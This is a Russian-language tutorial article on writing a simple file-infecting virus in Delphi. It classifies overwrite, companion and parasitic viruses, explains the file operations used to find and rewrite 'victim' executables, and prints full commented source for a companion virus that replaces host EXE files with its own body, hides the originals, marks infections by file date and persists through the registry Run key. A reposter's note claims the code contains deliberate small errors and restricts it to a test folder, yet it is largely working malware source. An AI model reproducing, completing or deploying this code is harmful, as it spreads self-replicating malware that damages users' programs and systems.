Простейший вирус на Delphi

Большинство пользователей и даже некоторые программисты считают, что все вирусы пишутся в основном на ассемблере, иногда на Си, а на других языках даже помыслы об ЭТОМ считаются греховными. Это, разумеется, бред (бред- ложное умозаключение, возникающее на фоне болезни, не поддается логической коррекции). На самом деле вирусы можно писать на чем угодно- прологе, коболе, васике а также на стенах в сортире- были бы руки прямые. Мы будем писать на Дельфи. Итак, понятие о вирусе. Прежде всего, вирус- это программа. Точное определение этому волшебному явлению еще не придумал даже Лозинский, однко общие функции вируса таковы- саморазмножение, заражение программ, выполнения других задач, заложенных в него автором- Format C:, звуковые эффекты и пр. Разные вирусы отличаются друг от друга способами заражения и распространения, а также размером. Здесь я не буду приводить классификацию всех вирусов, а коснусь только близких нам- высокоуровневых.

Классификация.

HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.о. программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и “заражает” дальше.
HLLC- High Level Language Companion. Большинство таких вирусов относятся к седой древности (6-7 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация HLLC- более современная: Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.о., пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.
HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди. Первым стартует вирус, затем он восстанавливает программу и запускает ее. С написанием таких вирусов под Win связана проблема- Windows запрещает доступ к запущенному файлу- т.е. мы не можем читать “из себя”.
Ну с классификацией я закончил, теперь прочитай свод базовых знаний (типа, курс лекций), и можно приступать к осваиванию исходника. Итак, что же нам нужно знать:

Работа с файлами- вирус довольно активно с ними общается:

1.Связь с файлом: procedure AssignFile(var F; FileName: string);

Например: AssignFile (F1,’klizma.exe’);

2.Открытие файла для чтения: procedure Reset(var F [: File; RecSize: Word ] );

Например: Reset (F1);

3.Чтение инфы из файла в буфер: procedure BlockRead(var F: File; var Buf; Count: Integer [; var AmtTransferred: Integer]);

Здесь buf- массивчик, напр. Buf: Array [1..65535] Of Char;

Count- сколько байтов ты хочешь прочесть

AmtTransfered- сколько реально прочитано.

Например: BlockRead (F1,Buf,1024);

4.Запись из буфера в файл: procedure BlockWrite(var f: File; var Buf; Count: Integer [; var AmtTransferred: Integer]);

Почти то же, что и предыдущее.

5.Открытие файла на запись, вся запись будет проводиться в конец файла: Append (F: File);

6. Открытие файла для перезаписи: procedure Rewrite(var F: File [; Recsize: Word ] ); Содержимое файла при этом обнуляется.

7.Поиск файла. Без него нам никак не обойтись, надо же искать жертву J. function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer;

Attr- атрибуты файла, например faAnyFile- любой файл, faArchive- архивный, faHidden- скрытый.

F- переменная типа TsearchRec, в нее дельфи запихивает все хар-ки найденного файла.

Например: FindFirst (‘*.exe’,faAnyFile,sr);

Sr.Name- имя найденного файла

Sr.Size- его размер.

Чтобы искать следующий такой же файл, пиши FindNext (Sr);

Если файл найден, то процедуры FindFirst и FindNext возвращают 0 (зеро). Подсказываю: можешь в своем вирусе создать интересный циклик:


Result:= FindFirst (‘*.exe’,faAnyFile,sr);  
While result=0 do  
 Begin  
  //Сюда пишешь процедуру заражения  
  FindNext (sr);  
 End;  

8.Закрытие файла, все наши с ним извращения сохраняются: procedure CloseFile (var F: File);

9.Сдвиг рамки считывания: procedure Seek(var F; N: Longint);

Поясню попонятнее: допустим, надо прочесть кусок объемом 1000 байт из файла в 3000 байт так, чтобы последний байт попал в буфер; ясно, что считывание надо начить (и потом углубитьJ) не с отметки 0 а с отметки 1000 байт! Посему пишем: Seek (F1,1000); А потом уже BlockRead (…);

10.Иногда,если чего-то не получилось, важно быть об этом проинформированым. Допустим, надо узнать, удалось ли чтение из файла. Непосредственно после BlockRead пишем: IF Ioresult=0 then… Если ноль, то все успешно, если нет- возвращается код ошибки. Такой прием возможен, только если {$I-}!

11.Когда необходимо завершить программу, не особо удивляя при этом юзера (например в HLLO вирусах, когда нет программы для запускаJ) лично я вызываю старый добрый stack overflow:


function BlowTheStack(I: Integer): Integer;  
var   
 J: Integer;  
begin  
 J:= 2;  
 Result:= BlowTheStack(I*J);  
end;  

12.Установка атрибутов файла: FileSetAttr (Filename: string,FileAttr);

Например: FileSetAttr (‘klizma.exe’,faHidden);

Fileattr- как в findfirst.

Итак, если ты дочитал досюда- ставлю ящик пива, лично я бы давно уже завязал J. Открывай теперь исходник, там все подробно откомментировано, а здесь я поясню только общие принципы.

Это извращение- вирус типа HLLC, весьма простой- вообще и для понимания в частности. Алгоритм его таков: при заражении вирус исходный файл переименовывает в нечто случайное и помещает в каталог c:\windows\ или где там винды (это в боевой версии, в моем исходнике вся возня происходит в директории c:\INF\). Своим телом вирь замещает оригинальный файл, причем если оригинал больше виря менее, чем вдвое, вирь добавляет к себе кусочек себя же J, чтобы не отличится по размеру от оригинала. В каталоге с виндами создается также занимательный файл- filelist.ini, в котором вирь фиксирует зависимость между оригинальным и случайным именами файла (т.е. при запуске вирь получает имя своего файла, допустим winword.exe, смотрит в каталог и видит там: winword.exe= 34258352.340., затем переименовывает этот цифирный файл в свой каталог, но с именем winword.exe(впереди- пробел или символ “_”), и запускает этот “левый” файл. После завершения работы левого файла управление получает вирь, ища и заражая файлы). При первом старт

С алгоритмом заражения и старта вроде, все. Кстати, для чтения и записи в файл я использовал такую могучую вещь, как TfileStream. Что это такое и с чем кушать- посмотри в хелпе, хотя по исходнику это и так понятно. Чтобы гонять вирь на своем компе, и не опасаться злых духов надо создать каталог c:\INF, и все действия проводить там- как видно из исходника, вирь только там и может работать- что поделаешь, небоевая версия…

Совет напоследок.

Вирь после компиляции будет весить поболее 200 Кб (царский размер!), поэтому напрягись и сожми его NeoLite’ом- хороший пакер для EXE и DLL файлов, с дельфийских прог сносит ~40% избыточного веса, а с опцией MaxCmp файл обратно уже не распаковывается. Взять его можно тут: www.neoworx.com, весит он 568Кб.

P.S. Чти УК РСФСР, как чту его я! Написание вирусов, наверное, наказуемо по статье 273. И если ты придешь в отделение милиции в майке с исходным текстом своего вируса, обвешанным дискетами с ним же и чистосердечно во всем признаешься, тебя посадят. На 15 суток, за хулиганство и нарушение общественного порядка!

Примечание VR-online.

На этом теоретическая часть статьи заканчивается, остаётся только отдать исходник. Исходник я не дам качать просто так, потому что я не поддерживаю тех, кто пишет вирусы. Но только для обучения я привожу его как текст к статье.

Предупреждаю, что я сделал тут несколько незначительных ошибок, чтобы начинающие программисты не навредили себе и другим. Если ты обладаешь хотя бы начальными знаниями в Delphi, то ты исправишь эти ошибки без проблем. И надеюсь, что не будешь использовать знания в разрушительных целях, а наоборот воспользуешься ими для защиты себя и окружающих. Помни, что ты не станешь лучше если уничтожишь компьютер соседа.

Исходник:


{====[BLACK MAMMONTH VIRUS, ОБУЧАЮЩАЯ ВЕРСИЯ. MADE IN USSR, Dr.Klouniz]====}  
{  КАК ИГРАТЬСЯ С ЭТИМ ВИРУСОМ. ЮЗЕР МАНУАЛ: 
  1.Создаем каталог c:\inf                 
  2.Компилируем вирус (Project--> Build)   
  3.Cравниваем размер полученного файла с константой VIRLEN; если не совпадает-  
     измени константу и перекомпилиру    }  
  4. Переписываем в каталог c:\inf несколько exe-файлов и вирус. Запускаем вирус.  
================================================================================}  
   
{$I-}  //Игнорировать I/O ошибки  
{$D-}  //Не вводить в код отладочную информацию  
program VirDebug;  
uses sysutils,  //Заголовочные файлы  
  windows,  
  registry,    //Работа с системным реестром  
  classes,  
  inifiles;    //Работа с INI-файлами  
ConST VIRLEN= 296960; //Длина нашего вируса. После компиляции сравните получ.  
   //размер с указанным здесь, при необходимости измените и перекомпилируйте  
   
var   
 zertva,virus                   : TFileStream; //Мы и жертва  
 //буфера для чтения записи довеска и вируса  
 vir,dovesok                    : array [1..VirLen] OF Char;   
 result                         : integer; //результат FindFirst'а  
 client,sr                      : TSearchRec;  
 //Массив имени файла  
 Name                           : array [1..8] Of String;   
 //Массив расширения файла  
 Ext                            : array [1..3] Of String;   
 //Наш INI-каталог; вирус- полноценная прога под WindoZ!  
 Info                           : TINIFILE;   
 NewName,pr,par,FromF           : string; //Разные строчки  
 //Дата как метка зараженности  
 Birth                          : TDateTime;   
 kill,slay,winvir,NewProga      : file;      //файлы  
 //Индикатор зараженности (TRUE/FALSE)  
 infected                       : boolean;     
 //Текстовый файл-визитка; свидетельствует о том, что это не первый   
 //старт виря на данном компьютере  
 check                          : textfile;    
 si                             : Tstartupinfo;  
 p                              : Tprocessinformation;  
 reg                            : TRegistry;  
   
// Функция- копировалка  
function WindowsCopyFile(FromFile, ToDir : string) : boolean;  
var   
 F : TShFileOpStruct;  
begin  
 F.Wnd := 0; F.wFunc := FO_COPY;  
 FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);  
 ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);  
 F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;  
 result:=ShFileOperation(F) = 0;  
end;  
   
PROCEDURE INFECTFILES; //Процедура-инфектор  
begin  
 //Находим исполн. файл в каталоге c:\inf\  
 result:= FindFirst ('c:\INF\*.exe',faAnyFile,client);  
 WHILE Result= 0 DO //Если нашли, то...  
  begin  
   
   //Проверка на вшивость  
   Infected:= false;  
   //если дата- 09.08.83 и время 6:00, то файл заражен и нам не нужен  
   IF DateTimeToStr (FileDateToDateTime (fileage ('c:\INF\'+client.name)))=  
            '09.08.83 06:00:00' then infected:= true;  
   //Проверено!  
   
   //если мы нашли не сами себя и не зараженный файл, то...  
   IF (client.name<>sr.name) and (infected= false) and  
      (client.name<>'mammonth.exe') then  
.   //Сочиним новое имя для нашей жертвы;  
    begin  
     Name[1]:= inttostr (random(10));  
     Name[2]:= inttostr (random(10));  
     Name[3]:= inttostr (random(10));  
     Name[4]:= inttostr (random(10));  
     Name[5]:= inttostr (random(10));  
     Name[6]:= inttostr (random(10));  
     Name[7]:= inttostr (random(10));  
     Name[8]:= inttostr (random(10));  
     Ext [1]:= inttostr (random(10));  
     Ext [2]:= inttostr (random(10));  
     Ext [3]:= inttostr (random(10));  
     NewName:= name[1]+name[2]+name[3]+name[4]+name[5]+name[6]+name[7]+  
            name[8]+'.'+ext[1]+ext[2]+ext[3]; //скомпонуем новое имя  
   
     //Свяжемся с нашей жертвой  
     AssignFile (Kill,'c:\INF\'+client.name);  
     //Отправим ее в загон для всех таких же, с уникальным именем  
     ReName (Kill,'c:\INF\files\'+NewName);  
     //Фиксируем новое имя в нашем каталоге  
     Info:= TIniFile.create ('c:\inf\filelist.ini');  
     WiTh info do  
      begin  
       //Пишем данные с каталог в виде Исходное_имя_файла=Новое_имя_файла  
       WriteString ('FILELIST',client.name,NewName);  
       free;  
      end;  
     //А теперь заразим страшным ВИРУСОМ наш файл!  
   
     //Открываем на чтение наш семенной фонд :)  
     ||virus:= TFileStream.create ('c:\inf\mammonth.exe',fmOpenRead);  
     Virus.Read (vir,VirLen); //Читаем вирус полностью (константу VirLen помнишь?)  
     //Если клиент поболее нас, но не более чем вдвое,  
     IF (Client.Size>VirLen) AnD ((Client.Size-VirLen)<=VirLen) then  
     //то сравняем размеры  
      begin  
       Virus.Position:= 1;  //Рамка считывания- сначала  
       Virus.Read (Dovesok,Client.Size-VirLen); //читаем довесок  
      end;  
     //перепишем жертву по- нашему  
     zertva:= TFileStream.create ('c:\inf\'+client.name,fmCreate);  
     zertva.Write (vir,virlen); //Запишем себя в жертву  
     IF (client.size>virlen) AND ((Client.size-VirLen)<=VirLen) then  
      zertva.write (dovesok,client.size-virlen); //И сверху еще довесок  
     Birth:= StrToDateTime ('09.08.83 06:00:00');  
     //поставим жертве индикатор зараженности  
     FileSetDate(Zertva.Handle,DateTimeToFileDate (birth));  
     Zertva.FREE; //Отпускаем жертву!  
     Virus.FREE;  
    end;  
   Result:= FindNEXT (Client); //Ищем следуюущий екзешник  
  end;  
end;  
   
PROCEDURE REGISTRATION;  
begin  
 //первый раз, в первый класс!  
 MkDir ('c:\inf\files'); //Создадим загон для жертв  
 AssignFile (check,'c:\inf\present.dat'); //Делаем файл-визитку  
 ReWrite (check);  
 WriteLn (check,'BLACK MAMMONTH virus is now active in this computer');  
 CloseFile (check);                   //Сделано!  
 par:= ParamStr (0);   //Посмотрим полное имя нашего файла с путем  
 WindowsCopyFile (Par,'c:\inf\'); //скопируем его в рабочий каталог (папку:))  
 AssignFile (winvir,'c:\inf\'+sr.name); //Найдем его в рабочем каталоге  
 ReName (winvir,'c:\inf\mammonth.exe'); //...И переименуем в mammonth.exe  
 Reg:= TRegistry.Create;  
 //И пусть этот маммонт запускается каждый раз!  
 FileSetAttr ('c:\inf\mammonth.exe',faHidden);  
 With Reg do  
  begin  
   IF OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true) then  
    begin  
     WriteString ('MAMMONTH','c:\windows\mammonth.exe');  
     CloseKey;  
    end;  
  end;  
  //Все. Мы в реестре.  
  //Халтим вирус с правдоподобным сообщением-  
  //сюда можно вписать процедуру вызова StackOverflow  
end;  
   
//Процедура исполнения оригинальной проги  
PROCEDURE EXECPROGRAM  
begin  
 Info:= TIniFile.Create  ('c:\inf\filelist.ini'); //Заглянем в каталог  
 FromF:= Info.ReadString ('FILELIST',Sr.Name,'NewName');  
 //Вытащим из загона нужный файл  
 WindowsCopyFile ('c:\inf\files\'+FromF,'c:\inf\');  
 AssignFile (NewProga,'c:\inf\'+FromF);  
 ReName (NewProga,'c:\inf\'+'_'+Sr.Name);   //сделаем левый файл  
 PR:= 'c:\inf\'+'_'+Sr.Name;  
 Info.Free;  
 //Создали, теперь заКапустим его!!!  
 FillChar( Si, SizeOf( Si ) , 0 );  
 with Si do  
  begin  
   cb := SizeOf( Si);  
   dwFlags := startf_UseShowWindow;  
   wShowWindow := 4;  
  end;  
 //Application.Minimize;  
 Pr:= Pr+#0;  
 Createprocess(nil,@Pr[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);  
 Waitforsingleobject(p.hProcess,infinite);  
 //Application.Restore;  
 //Все, отпахала юзерская прога- потрем ее на хрен!  
 AssignFile (slay,pr);  
 Erase (slay);  
end.  
   
{=====КОНЕЦ ПРОЦЕДУРНОЙ ЧАСТИ=====}  
begin  
 //узнаем имя файла, откуда стартовали  
 FindFirst (ParamStr(0),faAnyFile,sr);  
 //А вдруг первый раз на этом компе???  
 AssignFile (check,'c:\inf\present.dat');  
 Reset (check);  
 IF IOresult <>0 then //Если нашего файлика-визитки нет, пора зарегиться тут  
  begin  
   REGISTRATION;  
   INFECTFILES;  
   HaLt;  
  end;  
 IF sr.name= 'mammonth.exe' then  
  begin  
   //Можно запустить инфект файлов, но лучше вписать сюда какой-нибудь прикол  
   //INFECTFILES;  
   HALT;  
  end;  
 INFECTFILES;  
 EXECPROGRAM;  
 {++++END OF THE WORLD NEAR++++}  
end.  
Теги:
файла, вирус, begin, random, inttostr, каталог, client, VirLen, Integer, AssignFile, procedure, check, mammonth, FindFirst, вирусы, запускает, string, Например, Client, faAnyFile, NewName, zertva, вируса, жертву, Virus, Result, result, BlockRead, INFECTFILES, ToDir, FromFile, FromF, теперь, каталоге, программу
Добавлено: 21 Июля 2018 12:26:38 Добавил: Андрей Ковальчук Нравится 0
Добавить
Комментарии:
Нету комментариев для вывода...